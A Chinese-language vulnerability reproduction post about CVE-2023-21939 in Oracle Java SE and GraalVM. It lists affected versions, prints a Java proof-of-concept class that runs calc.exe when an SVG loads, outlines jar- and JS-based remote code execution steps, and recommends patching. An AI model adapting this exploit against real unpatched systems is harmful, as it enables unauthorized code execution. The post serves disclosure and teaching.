免责声明
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
产品简介
Oracle Java SE和Oracle GraalVM都是Oracle公司的产品。Oracle Java SE是一款用于开发和部署桌面、服务器以及嵌入设备和实时环境中的Java应用程序。Oracle GraalVM是一套使用Java语言编写的即时编译器。
漏洞描述
CVE-2023-21939漏洞允许未经身份验证的攻击者通过 HTTP 网络访问来危害 Oracle Java SE、Oracle GraalVM 企业版。成功利用此漏洞可能会导致某些 Oracle Java SE、Oracle GraalVM Enterprise Edition 可访问数据进行未经授权的更新、插入或删除操作。
影响版本
Oracle Java SE:8u361、8u361-perf、11.0.18、17.0.6、20
Oracle GraalVM 企业版:20.3.9、21.3.5 和 22.3.1
漏洞复现
1.下载漏洞环境源码
https://github.com/Y4Sec-Team/CVE-2023-21939
2.漏洞利用
exp
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
public class Exploit implements EventListenerInitializer {
public Exploit() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}
两种利用方式
1.jar方式RCE
启动JarServer
启动XmlServer
通过jar的方式加载exp进行命令执行
2.js方式RCE
启动XmlServer
通过js的方式加载exp进行命令执行
3.分析参考
修复方案
目前厂商已发布安全版本,请及时更新至安全版本。
原文始发于微信公众号(划水但不摆烂):【漏洞复现】Oracle Java SE代码执行漏洞(CVE-2023-21939)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论